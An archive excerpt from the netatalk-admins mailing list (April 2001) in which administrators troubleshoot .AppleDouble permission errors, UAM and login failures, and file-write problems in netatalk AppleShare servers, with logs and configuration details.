1 drwxrwsrwx 3 geology guest 512 Apr 23 16:52 sticky-yes-2

-------

I'll see if I can get errors without involking the Trashcan.

I'm totally cleaning out /home2/sticky_yes and /home2/sticky_no.

I mounted /home2/sticky_no, and created a new subdirectory, sticky-no-2.
No errors. I opened up simpletext and created a simple text file. As soon
as I tried to save it to sticky-no-2 (even before I hit 'save' but after
going into the mounted subdirectroy in the save dialog) I got these
errors:

Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown 16777216/-1
.AppleDouble/.Parent: Operation not permitted 
Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown 16777216/-1
.AppleDouble: Operation not permitted 
Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown
16777216/-1 .: Operation not permitted 
Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted 
Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown
16777216/-1 .AppleDouble/.Parent: Operation not permitted 
Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown 16777216/-1 
.AppleDouble: Operation not permitted 
Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown 16777216/-1 
.: Operation not permitted 
Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted


The exact same thing happens with Stick_yes.


----

So I left the test file, and unmounted sticky_yes. I remounted it, and got
one instance of:

Apr 23 16:54:11 epidote afpd[22793]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted

And to make absolutely sure, the errors are occurring exactly when I
choose the netatalk-volume in the save-as dialog. I checked again.

---

Well, I don't know how useful that is, and as my roof is leaking at home,
I'm off to battle the buckets. However, I am more than willing to test
this ad nauseum for whomever wants to direct my tests, as I'm just
shooting in the dark here, albeit carefully and methodically. If someone
would like me to run specific tests, with specific Mac OS's or
whathaveyou, I will.

Cheers!

-Karen

*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |                         
University of Mn            |  Enter any 11-digit prime
Minneapolis, MN 55455       |     number to continue...
(612) 624-6541              |                         
*                                                     *




From netatalk.administrators-errors@umich.edu  Mon Apr 23 18:45:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA03331
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 18:45:22 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA05945
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 18:45:22 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA05915
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 18:45:21 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA05853
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 18:45:20 -0400 (EDT)
Received: (qmail 9445 invoked by alias); 23 Apr 2001 22:45:27 -0000
Received: (qmail 9431 invoked by uid 0); 23 Apr 2001 22:45:27 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 23 Apr 2001 22:45:27 -0000
Subject: Re: .AppleDouble tests on OpenBSD (long...)
From: Matthew Keller <kellermg@potsdam.edu>
To: Karen A Swanberg <swanberg@tc.umn.edu>
Cc: netatalk-admins@umich.edu
In-Reply-To: <Pine.SOL.4.20.0104231638120.2960-100000@garnet.tc.umn.edu>
References: <Pine.SOL.4.20.0104231638120.2960-100000@garnet.tc.umn.edu>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 23 Apr 2001 18:45:16 -0400
Message-Id: <988065916.778.1.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    Good stuff here- Good luck with the buckets!

On 23 Apr 2001 17:20:33 -0500, Karen A Swanberg wrote:
> 
> Ok, I'm doing my best to run a thorough set of tests to figure out when
> the .AppleDouble permissions tank on OpenBSD.
> 
> First of all, I only ever get the errors on the server. From the client
> side, the usage is seamless, Joe MacUser would never know there was a
> problem.
> 
> The client is a PowerMac G3, running OS 8.0. I also have access to the
> same computer model with 8.1 and 8.6, if that will help, and I also have
> blue G4's running 9.0.4. I choose this one because it was physically
> closest, and I could see the console on the BSD machine. However, the
> 9.0.4 machines have SSH, so I can log in and watch /var/log/messages from
> there as well if necessary.
> 
> For testing purposes, I created two new test directories:
> 
> /home2/sticky_no      chmod 0777; chown geology;chgrp guest
> /home2/sticky_yes     chmod 1777; chown geology;chgrp guest
> 
> in order to see if the sticky bit had anything to do with this. These are
> brand new directories, so no legacy .AppleDouble or .Parent files.
> 
> I added them to /usr/local/etc/AppleVolumes.default, and sighuped inetd.
> 
> They're being accessed under the general test account, which in this case
> is geology/guest (I don't allow the actual guest account).
> 
> With sticky_no, I log in from the client, create a new directory
> (sticky-no-2), and copy in a file from the client desktop. No errors. I
> then dismounted the directory, remounted it, and launched the file (it's a
> gif opening in Photoshop). No errors. I then threw the file away, and got
> these errors:
> 
> 
> Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown 16777216/-1
> .AppleDouble/.Parent: Operation not permitted 
> Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown 16777216/-1
> .AppleDouble: Operation not permitted 
> Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown 16777216/-1
> .: Operation not permitted 
> Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown -1/0
> .AppleDouble/.Parent: Operation not permitted 
> Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown -1/0 
> .AppleDouble/.Parent: Operation not permitted
> 
> I have not yet emptied the trash.
> 
> epidote# pwd
> /home2/sticky_no
> ls -als
> 1 drwxrwxrwx  6 geology  guest  512 Apr 23 16:30 .
> 1 drwxr-xr-x  8 root     wheel  512 Apr 23 16:23 ..
> 1 drwxrwxrwx  3 geology  guest  512 Apr 23 16:29 .AppleDesktop
> 1 drwxrwxrwx  2 geology  guest  512 Apr 23 16:29 .AppleDouble
> 1 drwx--Srwx  4 geology  guest  512 Apr 23 16:30 Network Trash Folder
> 1 drwxrwsrwx  3 geology  guest  512 Apr 23 16:30 sticky-no-2
> 
> (note, I did not set the perms on Network Trash Folder, netatalk did, and
> I don't know why the stickybit is on sticky-no-2. It shouldn't be there.
> Hm...Didn't notice this until way late, right before I sent this message.)
> 
> I'll do the same process with /home2/sticky_yes now.
> 
> Exact same sequence, same errors, with sticky_yes
> 
> epidote# pwd
> /home2/sticky_ye
> 
> 1 drwxrwxrwt 5 geology guest 512 Apr 23 16:56 . 
> 1 drwxr-xr-x 8 root    wheel 512 Apr 23 16:23 .. 
> 1 drwxrwxrwx 2 geology guest 512 Apr 23 16:56 .AppleDouble 
> 1 drwx--Srwx 3 geology guest 512 Apr 23 16:56 Network Trash Folder 
> 1 drwxrwsrwx 3 geology guest 512 Apr 23 16:52 sticky-yes-2
> 
> -------
> 
> I'll see if I can get errors without involking the Trashcan.
> 
> I'm totally cleaning out /home2/sticky_yes and /home2/sticky_no.
> 
> I mounted /home2/sticky_no, and created a new subdirectory, sticky-no-2.
> No errors. I opened up simpletext and created a simple text file. As soon
> as I tried to save it to sticky-no-2 (even before I hit 'save' but after
> going into the mounted subdirectroy in the save dialog) I got these
> errors:
> 
> Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown 16777216/-1
> .AppleDouble/.Parent: Operation not permitted 
> Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown 16777216/-1
> .AppleDouble: Operation not permitted 
> Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown
> 16777216/-1 .: Operation not permitted 
> Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown -1/0
> .AppleDouble/.Parent: Operation not permitted 
> Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown
> 16777216/-1 .AppleDouble/.Parent: Operation not permitted 
> Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown 16777216/-1 
> .AppleDouble: Operation not permitted 
> Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown 16777216/-1 
> .: Operation not permitted 
> Apr 23 16:48:01 epidote afpd[13868]: setdirowner: chown -1/0
> .AppleDouble/.Parent: Operation not permitted
> 
> 
> The exact same thing happens with Stick_yes.
> 
> 
> ----
> 
> So I left the test file, and unmounted sticky_yes. I remounted it, and got
> one instance of:
> 
> Apr 23 16:54:11 epidote afpd[22793]: setdirowner: chown -1/0
> .AppleDouble/.Parent: Operation not permitted
> 
> And to make absolutely sure, the errors are occurring exactly when I
> choose the netatalk-volume in the save-as dialog. I checked again.
> 
> ---
> 
> Well, I don't know how useful that is, and as my roof is leaking at home,
> I'm off to battle the buckets. However, I am more than willing to test
> this ad nauseum for whomever wants to direct my tests, as I'm just
> shooting in the dark here, albeit carefully and methodically. If someone
> would like me to run specific tests, with specific Mac OS's or
> whathaveyou, I will.
> 
> Cheers!
> 
> -Karen
> 
> *                                                     *
> Karen Swanberg              |                         
> Network Admin.              | Error: Sector not found-- 
> Dept. of Geology/Geophysics |search behind couch? (Y/N)
> 206 Pillsbury Hall          |                         
> 310 Pillsbury Ave. SE       |                         
> University of Mn            |  Enter any 11-digit prime
> Minneapolis, MN 55455       |     number to continue...
> (612) 624-6541              |                         
> *                                                     *
> 
> 
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Apr 23 19:23:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA04139
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 19:23:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA29418
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 19:23:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA29393
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 19:23:09 -0400 (EDT)
Received: from s1.uklinux.net (ns1.uklinux.net [212.1.130.11])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA29345
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 19:23:08 -0400 (EDT)
Received: from 212.1.136.163 (ppp-1-163.cvx1.telinco.net [212.1.136.163])
	by s1.uklinux.net (8.11.2/8.11.1) with ESMTP id f3NNMjg32008;
	Tue, 24 Apr 2001 00:22:45 +0100
Envelope-To: netatalk-admins@umich.edu
Date: Tue, 24 Apr 2001 00:13:56 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Re: "Password incorrect" problems
To: Rob Lineweaver <rbline@wm.edu>
cc: Matthew Keller <kellermg@potsdam.edu>, netatalk-admins@umich.edu,
        Rory at work <rory.l@hopkins.co.uk>
X-Priority: 3
In-Reply-To: <988050595.728.0.camel@twain>
Message-ID: <20010424001822-r01010600-dc4bcc89@212.1.136.163>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

On 23/4/01, rbline@wm.edu (Rob Lineweaver) wrote:

> I've had success with 1.5pre6 compiled from source on Debian/m68k
> unstable.  Configured with:
> 
> ../configure --prefix=/usr/local --with-config-dir=/etc/atalk
> --with-uams-path=/etc/atalk/uams --with-msg-dir=/etc/atalk/msg
> --enable-lastdid  --with-pam --with-shadow --with-tcp-wrappers
> --with-ssl
> 
> I'm not sure if the --with-shadow is necessary or not but it might be
> something to try (it's probably in the .deb anyway, but I've never used
> the deb).  I would recommend compiling from source with the above (or
> similar) configuration to see if that fixes it.
> 
> Also, I'm wondering why the original poster was only allowing cleartext
> logins.  Is there some reason you actively don't want uams_dhx.so?
> 
> Which appleshare client(s) are you using?

I've tried OS 9, 9.0.4 and 9.1 clients. No go. I'll try compiling myself
tomorrow; thanks for the really useful configure line.

Cheers.
Rory

--
	Rory Campbell-Lange
	The Campbell-Lange Workshop
 	London


From netatalk.administrators-errors@umich.edu  Tue Apr 24 04:43:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA17430
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 04:43:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA09783
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 04:43:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA09757
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 04:43:51 -0400 (EDT)
Received: from mail.mathit.co.jp (dns.mathit.co.jp [211.124.215.50])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA09685
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 04:43:50 -0400 (EDT)
Received: from [192.168.1.102] (mt266.mathit.co.jp [192.168.1.102])
	by mail.mathit.co.jp (Postfix) with ESMTP id 3865E9E
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 17:43:48 +0900 (JST)
Mime-Version: 1.0
X-Sender: hitoshi@192.168.1.10
X-Mailer: Macintosh Eudora Version 4.3.2-J
Message-Id: <a04320403b70aeb75ebbf@[192.168.1.102]>
In-Reply-To: <v04220804b545c543adf2@[132.166.18.209]>
References: <v04220804b545c543adf2@[132.166.18.209]>
Date: Tue, 24 Apr 2001 17:43:47 +0900
To: netatalk-admins@umich.edu
From: MATSUDA Hitoshi <hitoshi@mathit.co.jp>
Subject: "uam: uam not found" error
Content-Type: text/plain; charset="us-ascii"

Hello,

I installed 1.5pre6 into RedHat Linux 6.2.
I copied configuration files into /etc/atalk because, "make install"
did not make them. Also, I copied uam modules into /etc/atalk/uams
manually. pam files copied into /etc/pam.d.

When startup, afpd says following messages.

	Apr 24 17:28:07 ld-s afpd[1256]: uam: uam not found (status=-1)

Could you show me what is problem.

Thank you,

MATSUDA Hitoshi

From netatalk.administrators-errors@umich.edu  Tue Apr 24 09:03:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA23118
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 09:03:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA29624
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 09:03:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA29600
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 09:03:32 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA29561
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 09:03:31 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f3OD3Hn30058;
	Tue, 24 Apr 2001 09:03:17 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AE57989.34FEB61@univrel.pr.uconn.edu>
Date: Tue, 24 Apr 2001 09:03:05 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: MATSUDA Hitoshi <hitoshi@mathit.co.jp>
CC: netatalk-admins@umich.edu
Subject: Re: "uam: uam not found" error
References: <v04220804b545c543adf2@[132.166.18.209]> <a04320403b70aeb75ebbf@[192.168.1.102]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

MATSUDA Hitoshi wrote:
> I installed 1.5pre6 into RedHat Linux 6.2.
> I copied configuration files into /etc/atalk because, "make install"
> did not make them. Also, I copied uam modules into /etc/atalk/uams
> manually. pam files copied into /etc/pam.d.
> 
> When startup, afpd says following messages.
> 
>         Apr 24 17:28:07 ld-s afpd[1256]: uam: uam not found (status=-1)
> 
> Could you show me what is problem.

What do your /etc/atalk/netatalk.conf and /etc/atalk/afpd.conf files
look like?

(Also, I believe that the RPM is built for Redhat 7, which may be
causing some of your problems.)

jeff

From netatalk.administrators-errors@umich.edu  Tue Apr 24 13:11:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA00674
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 13:11:02 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA23491
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 13:10:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA23473
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 13:10:53 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA23426
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 13:10:52 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0) for <netatalk-admins@umich.edu>; 
 Tue, 24 Apr 2001 10:11:09 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 24 Apr 2001 10:11:11 -0700
Subject: Macromedia write problem
From: charlie wood <charlie@id-inc.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B70B01BE.2BBE%charlie@id-inc.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi folks. Just found this list. Great info! Thanks to all the contributors!

Has anyone run across a creator code problem (and a resulting Error -50, and
write failure) when writing Macromedia Director and Flash projector files
(not the native .swf and .dir files) from Mac (PPC G4 w/ OS 9.0.4) to a
Linux server (Red Hat 6.2 running 1.4b2+asun2.1.1)?

I'm about to move this whole operation from Linux to FreeBSD 4.2, and I'd
like to get this squared away before I port the whole shop over.

Any ideas anyone?

Thanks in advance

</charlie>


From netatalk.administrators-errors@umich.edu  Tue Apr 24 14:07:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA03085
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 14:07:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA13136
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 14:07:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA13126
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 14:07:55 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA13091
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 14:07:54 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000067535; Tue, 24 Apr 2001 20:02:57 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05100900b70b6e59326d@[192.168.1.201]>
In-Reply-To: <3AE49670.9807B636@univrel.pr.uconn.edu>
References: <a04310100b70a3a83929b@[192.168.1.201]>
 <988058148.4234.30.camel@comp10574.potsdam.edu>
 <3AE49670.9807B636@univrel.pr.uconn.edu>
Date: Tue, 24 Apr 2001 20:04:32 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: netatalk-devel package
Cc: <kellermg@potsdam.edu>, <jeff@univrel.pr.uconn.edu>
Content-Type: text/plain; charset="us-ascii"

At 16:54 Uhr -0400 23.04.2001, jeff wrote:
>Matthew Keller wrote:
>>
> > On 23 Apr 2001 22:07:47 +0200, Lorenzo Perone wrote:
>> > could someone make a point on how crucial it is (or necessary) to use the
>> > appropriate netatalk-devel package alongside to netatalk when
>> > compiling a new version?  This is something fairly undocumented...
>>
>>     I actually, never even noticed the -devel packages, and don't know
>>     what they do. I strongly recommend compiling from source - I have to
>>     stress that. The new autoconf system makes it extremely easy
>>     (./configure --help for a list of options) and will increase your
>>     stability, while decreasing the number of "it's because you
>>     installed from a package" problems. And when you DO have problems,
>>     it's much easier to troubleshoot. No offense intended to the
>>     packagers - They do a good/necessary job.
>
>Thanks. The devel package is for people who are creating libatalk-based
>applications. It's pretty useless for everyone else, though.

Thanx, that's all I wanted to know  - I'm actually always starting from source... but didn't know if and what to do with the devel-stuff....

:-)

Lorenzo

From netatalk.administrators-errors@umich.edu  Tue Apr 24 14:22:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA03640
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 14:22:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA06423
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 14:22:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA06398
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 14:22:50 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA06349
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 14:22:48 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000067543 for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 20:17:51 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05100902b70b71f40aeb@[192.168.1.201]>
In-Reply-To: <988032761.4235.8.camel@comp10574.potsdam.edu>
References: <Pine.SOL.4.33.0104230923290.26810-100000@green.csi.cam.ac.uk>
 <988032761.4235.8.camel@comp10574.potsdam.edu>
Date: Tue, 24 Apr 2001 20:19:22 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: Inappropriate ioctl ?
Content-Type: text/plain; charset="us-ascii"

At 9:32 Uhr -0400 23.04.2001, Matthew Keller wrote:
>    Generally, when this error shows in the logs, the .AppleDouble (or a
>    file within it) is set to all nothing. Thus, even the owner can't
>    change its permissions. If you're positive that the perms are right
>    (and positive you don't have any legacy Netatalk binaries running
>    around), and still getting this error- That's pretty odd, and I'm at
>    a loss for diagnostics.
>
>    Anyone else got ideas?

Hi,

sorry, maybe this is a stupid note, but nobody ever mentioned umask: could the described problems be related somehow to the users' umasks? Are any .profile files executed by afpd after login? Or is there a setting for umasks? Or does afpd use umask somewhere at the beginning? Or any suggestion on that? I mean why should a file be created with no rights with a umask, say, of 117...... (there's a lot I don't know, I know....)?

;-)

Lorenzo

>On 23 Apr 2001 09:39:56 +0100, Ian Hitchman wrote:
>> Thanks for the response but I am a little confused as to the .AppleDouble
>> permission settings and how I should change them. All permissions appear
>> to be fine as I 'chmod -R 755 home1' the top directory containing all my
>> users and 'chgrp -R staff home1' similarly. All users own there own
>> directories chown -R auser auser.
>>
>> Ian.
>>
>>
>> On 20 Apr 2001, Matthew Keller wrote:
>>
>> >
>> >     Cool, thanks. Anyone else having this problem with 1.5pre6? I have
>> >     numerous installs of it now (always compiled from source) and
>> >     haven't seen this one rear its ugly head since pre5.
>> >
>> >     The problem is that the premissions in .AppleDouble are set wrong.
>> >     This may be a legacy problem and setting them manually once will fix
>> >     them (for that folder). Subsequent operations should be ok.
>> >
>> > On 20 Apr 2001 17:14:41 +0100, Ian Hitchman wrote:
>> > > I had netatalk-1.4b2+asun2.1.4-0.i386.rpm running previously. I removed
>> > > this with rpm -e netatalk-1.4b2+asun2.1.4-0 --allmatches
>> > > and checked /etc/services for the removal of ddp entries as well removing
>> > > /etc/atalk rpm.config? or file of similar name.
>> > > After that I simply rpm -i --test netatalk-1.5pre6-1rh7.i386.rpm with
>> > > no errors and installed it. I suspect I have not read some documentation
>> > > but as to what I do not know.
>> >
>> >
>> > --
>> >
>> > Matthew Keller
>> > Enterprise System Analyst
>> > Computing & Technology Services
>> > Information Services Division
>> > State University of NY at Potsdam
>> > Potsdam, NY USA
>> >
>> > http://mattwork.potsdam.edu/
>> >
>> >
>>
>>
>
>--
>
>Matthew Keller
>Enterprise System Analyst
>Computing & Technology Services
>Information Services Division
>State University of NY at Potsdam
>Potsdam, NY USA
>
>http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Tue Apr 24 15:02:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA04747
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 15:02:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09690
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 15:02:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09660
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 15:02:41 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA09551
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 15:02:39 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f3OJ2Zn01609;
	Tue, 24 Apr 2001 15:02:35 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AE5CDBF.701FC3FA@univrel.pr.uconn.edu>
Date: Tue, 24 Apr 2001 15:02:23 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: charlie wood <charlie@id-inc.com>
CC: netatalk-admins@umich.edu
Subject: Re: Macromedia write problem
References: <B70B01BE.2BBE%charlie@id-inc.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

charlie wood wrote:
> 
> Hi folks. Just found this list. Great info! Thanks to all the contributors!
> 
> Has anyone run across a creator code problem (and a resulting Error -50, and
> write failure) when writing Macromedia Director and Flash projector files
> (not the native .swf and .dir files) from Mac (PPC G4 w/ OS 9.0.4) to a
> Linux server (Red Hat 6.2 running 1.4b2+asun2.1.1)?
> 
> I'm about to move this whole operation from Linux to FreeBSD 4.2, and I'd
> like to get this squared away before I port the whole shop over.
> 
> Any ideas anyone?

Try a newer version of netatalk. 1.4b2+asun2.1.1 is pretty ancient. The
latest stable version is 1.5pre6, at http://netatalk.sourceforge.net/

Thanks,
jeff

From netatalk.administrators-errors@umich.edu  Tue Apr 24 19:06:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA16492
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 19:06:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA17916
